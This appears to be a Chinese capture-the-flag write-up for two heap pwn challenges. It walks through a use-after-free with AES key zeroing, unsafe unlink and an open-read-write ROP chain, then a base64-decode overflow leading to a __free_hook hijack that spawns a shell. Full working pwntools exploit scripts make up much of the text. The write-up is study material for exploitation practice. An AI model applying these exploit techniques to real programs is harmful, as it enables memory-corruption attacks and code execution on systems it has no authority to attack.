同样的,决赛也出了两道pwn题,感觉挺有意思的,来补补wp。
<!--more-->
heap
环境准备
这题一开始最大的一个问题可能是题目依赖较多跑不起来,而且只给了 libc 的版本,是 2.31 9.16 版本,这个比较好说。如果是 libcrypto.1.1 这个库不存在也好说,apt 安装就好了。
照常换了 runpath 和链接器之后报了一个神奇的错误。

这里的意思就是,虽然你 elf 文件的 libc 换好了,但是 libcrypto.so.1 这个库用的是高版本的 libc,你换了之后 libcrypto.so.1 有些引用了高版本 glibc 的函数就用不了了,所以索性在加载的时候报出错误存在这个问题。
解决这个问题也很简单,如果不想影响机器的 libcrypto 库那就复制一份出来,将依赖修改到本地的备份版本即可,再用 --replace-needed 参数去替换依赖库。
例子:
1 | patchelf --replace-needed libcrypto.so.1.1 ./libcrypto.so.1.1 ./heap |
此时你还需要将 libcrypto.so.1.1 的依赖库换成对应的版本,才能正常运行。
最终修改完以来之后,你的两个文件依赖项应该如下所示:

这样你就能正常运行这个题目了。
题目分析
题目很友好,没有去符号,init_system 里面初始化了 Key,heap_base,和沙箱。

沙箱就是简单地禁用了 execve 调用,增删改查一应俱全,一步步分析。
增

下标 0-15还挺大,固定分配 0x30 大小的堆块,读入也是这么长,随后使用 AES 加密保存输入的内容。
注意到使用了 safe_malloc,而 safe_malloc 检查了 malloc 的返回值,需要与 key 所分配的堆块在同一个页上(即地址除了最低三位十六进制不同,其它必须相同),这样就会导致我们很多漏洞不能利用。
删

明显是存在 UAF 漏洞的。
改

同样 AES 加密内容改了上去。
查

将堆块内容 AES 解密后输出。
加密函数

可以观察到,当 a2 < 16 的时候是不会进行加密的,也就是说输入的明文会直接存储到堆上,解密函数同理。
漏洞分析
UAF是主要的漏洞点,根据UAF可以搞很多事,同时也有许多限制,来列一下目前的限制:
- 堆块分配的地址被定死在了堆首的第一个页
- 输入的内容超过16字节会被随机Key加密。
- 沙箱保护
对应的解决措施如下:
- 堆块指针被限制了那么就可以不用堆块分配指针,而是直接劫持指针,而堆攻击手法里面可以直接劫持指针的方法就是 unsafe unlink了。
- 被随机密钥加密首先就想到,可以利用一个 tcache bin attack 劫持 key 所在的堆块,将密钥强制写为 0 字节,这样密钥就等于已知,但是密钥有 16 个长度怎么办呢?刚好 2.31 tcache 取出 free 块的时候会清空 bk 指针,因此写入 8 字节就可以达到清空 Key 的目的。
- 沙箱保护 orw 即可绕过。
理论可行,下面来实践
EXP编写
据此构造交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from Crypto.Cipher import AESdef encrypt(data): key=b'\x00'*16 cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(data)def decrypt(data): key=b'\x00'*16 cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(data)def choice(i): p.sendafter('>> ',str(i))def add(idx,content): choice(1) p.sendlineafter('idx: ',str(idx)) p.sendafter('content: ',content)def free(idx): choice(2) p.sendlineafter('idx: ',str(idx))def show(idx): choice(3) p.sendlineafter('idx: ',str(idx))def edit(idx,content): choice(4) p.sendlineafter('idx: ',str(idx)) p.sendafter('content: ',content) |
由于 unsafe unlink 的利用手法需要知道堆指针的地址,而题目程序开了 PIE,所以第一步要先想办法泄露程序的基地址。
注意到解密函数是将内容解密到栈上输出的,因此栈上可能有可以利用的地址。

0x20 个 a 扔过去发现的确存在一个程序基地址,虽然被覆盖了两个字节,但是依稀可辨。在比赛中我选择了爆破这半个字节,但其实完全没必要,因为可以发现被覆盖的两个字节是由于自己输入了 3\n,而这里的数字输入显然使用 read,那就没必要输入这个回车,可以少覆盖一个字节,这样就完全不用爆破。
将交互函数的 line 去掉如下所示

拿到了 code_base 之后,tcache bin attack,这里这样操作:free 两个堆块,再改最后进入的堆块的 fd 指针到 key 堆块的位置。因为 2.31 版本的 tcache 有数量检查,如果检查到数量为0,即使 tcache存的堆块指针不为 0,那也不会被分配。
1 2 3 4 5 6 7 8 9 10 11 | add(0,b'a'*0x20)show(0)code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233success('code_base: '+hex(code_base))add(1,b'a'*(0x8+6))free(0)free(1)edit(1,p8(0xa0))add(0,b'\x00'*8)add(0,'\x00'*8)gdb.attach(p) |
成功将 Key 写为 0

之后尝试泄露一下 heap 的地址,因为需要构造 unsorted bin,需要堆重叠修改 size,因此这里泄露堆地址是比较方便的。
1 2 3 4 5 6 7 8 | add(0,b'a'*0x10)free(0)show(0)show(0)data=p.recv(16)res=encrypt(data)heap_addr=u64(res[8:])-0x10success('heap_addr: '+hex(heap_addr)) |
也很简单,free 一个块让它带地址直接 show 即可,但是会用 Key 解密之后输出,因此我们想要得到原堆块的地址就需要对结果进行加密,密钥已知,也是很容易得出的。

紧接着再来一个 tcache bin attack,构造堆重叠,修改堆块的大小,free 掉,得到 unsorted bin,泄露得 libc 的地址(同时后面也是知道,我都unsafe unlink了,我还泄露libc地址干嘛呢??)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])add(14,b'a'*8)add(3,b'a'*8)free(14)free(3)edit(3,p64(heap_addr+0x350))add(2,b'a'*8)add(3,b'a'*8)for i in range(0x10): add(2,b'a'*0x8)free(3)show(0)data=p.recv(32)res=encrypt(data)#print(res.hex())libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000success('libc_addr: '+hex(libc_addr)) |
这里我用了 14 这个下标是因为这个地方的指针比较重要(做到后面才发现的)。
此刻,便是良机,构造 unsafe unlink。
unsafe unlink
讲解一下 unsafe unlink 的原理,glibc 除了 tcache bin 和 fastbin 是单链表管理之外,其余都是双链表管理,单链表管理的堆块普遍不参与相邻内存合并(consolidate)的操作。
而合并操作需要涉及解链(unlink),为什么需要解链才能合并。因为合并后得到是一个新的大小的堆块,不管是 small bin 还是 largebin,对大小都有严格的限制,所以合并必须 unlink。
解链我们找找 glibc 中的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | /* Take a chunk off a bin list. */static voidunlink_chunk (mstate av, mchunkptr p){ if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } }} |
我们看到解链的一个重要操作
1 2 | fd->bk = bk;bk->fd = fd; |
如果对应的堆块本身不处于被释放状态,意味着这个堆块的fd和bk指针我可以任意的修改。而合并是通过什么样的检测去判断呢,它有向前和向后两种合并的方式,从 glibc 源码中也不难看出,当 free 的一个块不在 fastbin 大小的范围内,便会尝试向前和向后合并。
向后合并
1 2 3 4 5 6 7 8 9 | /* consolidate backward */if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p);} |
向前合并
1 2 3 4 5 6 7 8 | nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/* consolidate forward */if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize;} else clear_inuse_bit_at_offset(nextchunk, 0); |
可以发现,向后合并(向较小地址)主要依赖于当前释放的这个堆块的 prev_inuse 位,如果为0证明前面(较小地址)的堆块被释放了,就要向后合并,而一旦这个位为0,则检查 prev_size 字段判断堆块的大小。
同时再来看看如果没有任何检查的 unsafe unlink 会发生什么。
由于 fd 和 bk 是我任意控制的,因此我可以将 fd+0x18 的地址写上 bk 值,将 bk+0x10 的地址写上 fd 的值。但是很不幸的,它检查了 p->fd->bk==p && p->bk->fd==p,满足这些条件才能 unlink,本意很简单,一个正常的双向链表中,任意一个链表中的元素的后一个块的前一个块肯定是自己,反之同理,如果不满足则双向链表肯定发生了问题。
当然这个 check 可以绕过,首先需要一个指向 chunk 头部的指针,因此这需要我们伪造一个 chunk,而chunk头部的指针当然就是可以用分配得到的用户指针,它存放在程序代码的 bss 段中。
把 check 的条件化简一下,因为 p->fd 和 p->bk 都是任意值,因此不妨将它设为 x 和 y,那么就变成了 x->bk==p && y->fd==p,而 x->fd 与 y->bk 转为指针的写法就是 *(void **)(x+0x18)=p&&*(void **)(y+0x10)=p,取第一个等式,对等号两边同时取地址得到 (x+0x10)=&p 那么 x=&p-0x18 同理 y=&p-0x10。那么绕过这个检查的主要就是需要找到一个指向头部的指针。
在上面的基础,用下面的代码,我们来观察 unsafe unlink 的图解。
1 2 3 4 5 6 7 8 9 10 11 12 13 | add(4,b'a'*0x10)add(5,b'a'*0x10)add(6,b'a'*0x10)add(7,b'a'*0x10)free(6)free(7)edit(7,p64(heap_addr+0x10))add(6,b'a'*8)add(7,decrypt(b'\xff'*0x20))book=code_base+0x4080edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))edit(14,decrypt(p64(0x30)+p64(0xc0)))free(5) |
结果如下

在这里,我分配了一个0x40的堆块,返回了 0x55555555c350 这个指针,通过堆重叠,在 0x40 的堆块里面包含了一个 0x30 的堆块,可以发现 0x40 指向分配给用户的指针指向了 0x30 这个堆块的头部,这是我们伪造的一个 fake chunk,这里其实不需要加 0x31 这个size,因为 unlink不检查这个size,这里写 0x31 主要是方便理解。
同时它的 fd 和 bk,分别赋值了 0x0000555555558080 和 0x0000555555558088,这个值其实就是因为我们伪造的堆块得到了一个指向头部的指针在 BookList 全局数组当中,因此上面的等式中的 &p 就有了,不难发现 &p = 0x555555558090,那么根据前面的 x 和 y 相关方程可得 x=0x0000555555558080,y=0x0000555555558088,分别对应了这里的 fd 和 bk 的位置。
最后需要伪造 prevsize 为 0x30 和将 size 的prev_inuse设置为0,才能够成功触发 unsafe unlink。
触发了 unsafe unlink 之后,可以发现,BookList[3] 得到了一个指向自身 - 0x18 的位置,同时合并堆块的操作也是成功的,这里大小为 0x421 是因为后面还有 free 块,向前也合并了。

有了这个指针,可以任意修改 BookList[0]的值,再通过 BookList[0] 指针取读写任意的地址。此刻,malloc 已经不被需要了,我已然是无敌的状态。
这里选择劫持通过 __environ 泄露栈,用栈迁移劫持栈到堆上,在堆上提前布置好 ROP 链进行 ORW 即可。
想必也是可以一气呵成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))#edit(0,decrypt(p32(0x10)*4))edit(0,p32(0x10)*2)show(1)res=encrypt(p.recv(16))print(res.hex())stack=u64(res[:8])-0x138success('stack: '+hex(stack))#add(4,decrypt(b'a'*0x20))leave=code_base+0x1AA4pop_rdi=libc_addr+0x0000000000023b6apop_rsi=libc_addr+0x000000000002601fpop_rdx_ret_10=libc_addr+0x00000000000dfc12edit(3,p64(heap_addr+0xa0))edit(0,p64(0))edit(3,p64(heap_addr+0x10))edit(0,p64(0))#add(4,decrypt(p64(pop_rdi)))edit(3,p64(heap_addr+0x4350))edit(0,b'/flag')edit(3,p64(heap_addr+0x360))edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))edit(3,p64(heap_addr+0x390))edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))edit(3,p64(heap_addr+0x3c0))edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))edit(3,p64(heap_addr+0x3e0))edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))edit(3,p64(heap_addr+0x3e0+0x30))edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))edit(3,p64(stack))gdb.attach(p,'b *0x555555555aa4')edit(0,p64(heap_addr+0x358)+p64(leave)[:6])p.interactive() |
至此,已成艺术

最终 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | from pwn import *from Crypto.Cipher import AESdef encrypt(data): key=b'\x00'*16 cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(data)def decrypt(data): key=b'\x00'*16 cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(data)#context.log_level='debug'p=process('./heap',aslr=False)#p=remote('47.94.85.95',28760)libc=ELF('./libc.so.6')#libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')def choice(i): p.sendafter('>> ',str(i))def add(idx,content): choice(1) p.sendlineafter('idx: ',str(idx)) p.sendafter('content: ',content)def free(idx): choice(2) p.sendlineafter('idx: ',str(idx))def show(idx): choice(3) p.sendlineafter('idx: ',str(idx))def edit(idx,content): choice(4) p.sendlineafter('idx: ',str(idx)) p.sendafter('content: ',content)add(0,b'a'*0x20)show(0)code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233success('code_base: '+hex(code_base))add(1,b'a'*(0x8+6))free(0)free(1)edit(1,p8(0xa0))add(0,b'\x00'*8)add(0,'\x00'*8)add(0,b'a'*0x10)free(0)show(0)show(0)data=p.recv(16)res=encrypt(data)heap_addr=u64(res[8:])-0x10success('heap_addr: '+hex(heap_addr))add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])add(14,b'a'*8)add(3,b'a'*8)free(14)free(3)edit(3,p64(heap_addr+0x350))add(2,b'a'*8)add(3,b'a'*8)for i in range(0x10): add(2,b'a'*0x8)free(3)show(0)data=p.recv(32)res=encrypt(data)#print(res.hex())libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000success('libc_addr: '+hex(libc_addr))add(4,b'a'*0x10)add(5,b'a'*0x10)add(6,b'a'*0x10)add(7,b'a'*0x10)free(6)free(7)edit(7,p64(heap_addr+0x10))add(6,b'a'*8)add(7,decrypt(b'\xff'*0x20))book=code_base+0x4080edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))edit(14,decrypt(p64(0x30)+p64(0xc0)))gdb.attach(p)free(5)edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))#edit(0,decrypt(p32(0x10)*4))edit(0,p32(0x10)*2)show(1)res=encrypt(p.recv(16))print(res.hex())stack=u64(res[:8])-0x138success('stack: '+hex(stack))#add(4,decrypt(b'a'*0x20))leave=code_base+0x1AA4pop_rdi=libc_addr+0x0000000000023b6apop_rsi=libc_addr+0x000000000002601fpop_rdx_ret_10=libc_addr+0x00000000000dfc12edit(3,p64(heap_addr+0xa0))edit(0,p64(0))edit(3,p64(heap_addr+0x10))edit(0,p64(0))#add(4,decrypt(p64(pop_rdi)))edit(3,p64(heap_addr+0x4350))edit(0,b'/flag')edit(3,p64(heap_addr+0x360))edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))edit(3,p64(heap_addr+0x390))edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))edit(3,p64(heap_addr+0x3c0))edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))edit(3,p64(heap_addr+0x3e0))edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))edit(3,p64(heap_addr+0x3e0+0x30))edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))edit(3,p64(stack))gdb.attach(p,'b *0x555555555aa4')edit(0,p64(heap_addr+0x358)+p64(leave)[:6])p.interactive() |
这里插个题外话,可能纯做 Pwn 的师傅不太清楚,Crypto 这个库安装使用以下命令
1 | pip3 install cryptodome |
ez_heap
环境准备就不过多赘述了,道理都是一样的。
题目分析
堆菜单实现了存储 base64 编码和解码的增删查,虽然说菜单上看着有改的操作,也确实有对应的函数,但是没有实装。

同样的,也来分析这些函数。
base64编码增

根据输入的长度和回车的判断,去分配堆块,而这里分配的长度是 4*len/3 + 4,还算是留有余地,几乎不能够溢出。
base64解码增

这里需要注意的点来了,它这里分配的长度是 3*len/4,这个长度比较极限但是它如果强制要求你的 len 必须是 4 的倍数其实也不能利用,但是没有,所以这里打个 tag,后续着重分析这里的解码函数。
base64编码删

删不存在 UAF。
后面的base64解码删,和输出堆块就不一一演示了,都很正常的实现。
这里想起之前讲到的 base64 解码增,来看看解码函数的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | unsigned __int64 __fastcall base64decode(char *a1, unsigned __int64 len, char *a3){ //一大堆定义 v16 = 0LL; while ( 1 ) { if ( v16 >= len ) break; //... *a3 = ((v15 << 6) + (v14 << 12) + (v13 << 18) + v9) >> 16; a3[1] = ((v15 << 6) + (v14 << 12) + v9) >> 8; a3[2] = (v15 << 6) + v9; a3 += 3; } return result;} |
把中间一大段去掉,保留收尾,可以发现循环条件是 v16>=len,而 a3 的输出指针每次 +3,因此这个函数在输入长度为 4 的倍数的时候是绝对好使的,但是输入是由我们控制的,因此长度可以不为 4 的倍数,而不为 4 的倍数可能会导致分配的空间不够从而导致溢出。
EXP编写
首先进行漏洞的验证。
交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | def choice(i): p.sendlineafter('Enter your choice: ',str(i))def add1(content): choice(1) p.sendafter(': ',content)def add2(content): choice(2) p.sendafter(': ',content)def free1(idx): choice(3) p.sendlineafter('idx:',str(idx))def free2(idx): choice(4) p.sendlineafter('idx:',str(idx))def show2(idx): choice(8) p.sendlineafter('idx:',str(idx)) |
首先看看编码一个 0x19 长度的字符串,但是去掉编码后的最后一个字节,我们来计算一下。
0x19 长度的字符编码之后应该是 0x24 字节,去掉一个字节变成 0x23 字节,然后这个长度进入选项 2,malloc 的参数为 0x23/4*3,即得到 0x18,所以最终分配得到 0x20 大小的 chunk。
1 | add2(base64.b64encode(b'a'*0x19)[:-1])#0 |
可以发现,最终的 top chunk 的 size 明显出了问题

需要分析一下为什么出现了 410061 这样奇怪的值,图中可以看出来我的输入是 YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ=,最小化之后发现主要的问题就是 YQ= 解析成了 61 00 41 这样的字节,来看看原理。
YQ 解析成第一个 a 不奇怪,Q= 解析出第二个 00 也不奇怪,这个 = 和另外一个字节(0字节)解析成了 A,来看看为什么。
看到对最后一个字节的解析

它使用 strchr 去查找该字符串在 base 表所处的位置,对于这个函数来说,如果如果找到了则返回该字符的指针,如果找不到返回 NULL,而找零字节能不能找到呢?能!就在字符串最后面,所有字符串都是 0 结尾的,所以找到的末尾指针减去首指针得到了 0x41,而 = 又等同于 0,因此看到 a[2]=(v15<<6)+v9,也能理所当然地知道为啥是 A 了。
但是这样不太自由,因为会写 size 三个字节,因此可以考虑扩展长度,让它只能溢出一个 A 字节,这样这个 A 就能被覆盖到 size 里面构造堆重叠,然后打 tcache bin attack劫持 free hook就行了。
所以还是先泄露地址,这里虽然限制了 0x400,但是别忘了 base64编码可以扩展长度,因此很轻松构造一个unsorted bin来泄露地址。
1 2 3 4 5 6 7 | add1(b'a'*0x400)#0add1(b'a'*0x80)#1free1(0)add2(base64.b64encode(b'a'*0x9))#0show2(0)libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000success('libc_addr: '+hex(libc_addr)) |
这里还有一个需要注意的点,你泄露的 libc 的地址很不幸最低 2 位十六进制都是 0,所以 puts 带不出来,因此需要多覆盖一个字节才行。

libc 地址有了后面就是简单的重叠堆构造 uaf,但同样需要注意 tcache bin 有数量检测,如果正常 free 一个 tcache 再修改 fd,则分配不出来这个任意地址的 tcache,必须要free两个堆块,然后再 edit 后进入的堆块才能够成功分配出来。
分配出来就直接打 tcache bin 写 system 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 | add2(base64.b64encode(b'a'*0x30))#1add2(b'a')#2add2(b'a')#3add2(b'a')#4free2(4)free2(3)free2(1)add2(base64.b64encode(b'\x00'*0x38)[:-1])#1free2(2)add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2add2(base64.b64encode(b'/bin/sh\0'))#3add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))free2(3) |

至此艺术已成。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import *import base64context.log_level='debug'p=process('./pwn')# p=remote('47.94.85.95','37083')libc=ELF('./libc-2.31.so')def choice(i): p.sendlineafter('Enter your choice: ',str(i))def add1(content): choice(1) p.sendafter(': ',content)def add2(content): choice(2) p.sendafter(': ',content)def free1(idx): choice(3) p.sendlineafter('idx:',str(idx))def free2(idx): choice(4) p.sendlineafter('idx:',str(idx))def show2(idx): choice(8) p.sendlineafter('idx:',str(idx))add1(b'a'*0x400)#0add1(b'a'*0x80)#1free1(0)add2(base64.b64encode(b'a'*0x9))#0show2(0)libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000success('libc_addr: '+hex(libc_addr))add2(base64.b64encode(b'a'*0x30))#1add2(b'a')#2add2(b'a')#3add2(b'a')#4free2(4)free2(3)free2(1)add2(base64.b64encode(b'\x00'*0x38)[:-1])#1free2(2)add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2add2(base64.b64encode(b'/bin/sh\0'))#3add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))gdb.attach(p)free2(3)p.interactive() |